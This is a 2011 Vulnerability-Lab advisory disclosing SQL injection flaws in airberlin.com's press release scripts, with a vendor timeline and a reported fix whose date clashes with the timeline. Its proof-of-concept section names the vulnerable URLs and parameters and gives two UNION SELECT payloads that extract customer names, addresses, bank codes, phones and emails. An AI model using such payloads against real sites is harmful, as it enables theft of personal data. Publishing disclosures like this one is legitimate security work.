Document Title:
===============
AirBerlin Website - Remote SQL Injection Vulnerabilities



Release Date:
=============
2011-07-20


Vulnerability Laboratory ID (VL-ID):
====================================
225


Product & Service Introduction:
===============================
One of the most Famous European Air-Lines ...

Air Berlin ist die zweitgrößte deutsche Fluggesellschaft mit Sitz in Berlin, im Außenauftritt abweichend auch airberlin oder airberlin.com  
genannt. Ihre Rechtsform ist die englische PLC. Air Berlin beförderte im Jahr 2009 27,9 Millionen Passagiere, inklusive ihrer 
Tochtergesellschaften.[1]  Im Februar 2010 beschäftigte Air Berlin mehr als 8.200 Mitarbeiter.[2]  Im Dezember 2009 bestand die Flotte Air 
Berlins inklusive ihrer Tochtergesellschaften aus 152 aktiven Flugzeugen.

(Copy of the Vendor Homepage: http://www.airberlin.com)


Abstract Advisory Information:
==============================
An anonymous laboratory researcher discovered multiple (critical/remote) SQL Injection Vulnerabilities on AirBerlins Vendor website/portal.


Vulnerability Disclosure Timeline:
==================================
2011-01-09:	Vendor Notification
2011-02-17:	Vendor Response/Feedback
2011-06-23:	Vendor Fix/Patch
2011-07-21:	Public or Non-Public Disclosure


Discovery Status:
=================
Published


Affected Product(s):
====================

Exploitation Technique:
=======================
Remote


Severity Level:
===============
Critical


Technical Details & Description:
================================
A unsecure statement implementation allows remote attackers to inject/execute own sql statements. A remote attacker can access to all tables, read 
root passwords, access to customer creditcards/bonuscards, identity-listings & company details.


Vulnerable Module: 

			[+] Home » Company  » News
			[+] Pressreleases


Pictures:
			../air-berlin1.png
			../air-berlin2.png


Proof of Concept (PoC):
=======================
The vulnerabilities can be exploited by remote attackers. For demonstration ...


Server:			www.airberlin.com
Path:			/site/
Files: 			pressreleases_dr.php
Para:			?LANG=eng&ID=

Server:			www.airberlin.com
Path:			/site/
Files: 			pressnews_dr.php
Para:			?LANG=deu&ID=


Example Strings:
-1221%20UNION%20ALL%20SELECT%201,2,CONCAT(0x3a3a3a,DATUM,0x3b,VNAME,0x3b,NAME,0x3b,STRHNR,0x3b,PLZORT,0x3b,DATUM,0x3b,TEL,0x3b,MAIL,0x3a3a3a),4,5,6,7,8,9%20FROM%20kA";

-- 
-1221+UNION+ALL+SELECT+1,2,CONCAT(0x3a3a3a,datum_zeit,0x3b,user_name,0x3b,nach_name,0x3b,strasse,0x3b,blz,0x3b,place,0x3b,mail,0x3a3a3a),4,5,6,7,8,9+FROM
+kA_+ORDER+BY+datum+DESC";


Reference:
http://www.airberlin.com/site/pressnews_dr.php?LANG=eng&ID=
http://www.airberlin.com/site/pressreleases_dr.php?LANG=deu&ID=


Solution - Fix & Patch:
=======================
FIXED - 2011 March


Security Risk:
==============
The security risk of the remote sql injection is estimated as critical.


Credits & Authors:
==================
N/A Anonymous


Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability-Lab disclaims all warranties, 
either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-
Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business 
profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some 
states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation 
may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack into databases 
or trade with fraud/stolen material.

Domains:    www.vulnerability-lab.com   	- www.vuln-lab.com			       - www.vulnerability-lab.com/register
Contact:    admin@vulnerability-lab.com 	- support@vulnerability-lab.com 	       - research@vulnerability-lab.com
Section:    video.vulnerability-lab.com 	- forum.vulnerability-lab.com 		       - news.vulnerability-lab.com
Social:	    twitter.com/#!/vuln_lab 		- facebook.com/VulnerabilityLab 	       - youtube.com/user/vulnerability0lab
Feeds:	    vulnerability-lab.com/rss/rss.php	- vulnerability-lab.com/rss/rss_upcoming.php   - vulnerability-lab.com/rss/rss_news.php

Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. 
Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other 
media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, sourcecode, videos and 
other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), 
modify, use or edit our material contact (admin@vulnerability-lab.com or support@vulnerability-lab.com) to get a permission.

    				   	Copyright © 2012 | Vulnerability Laboratory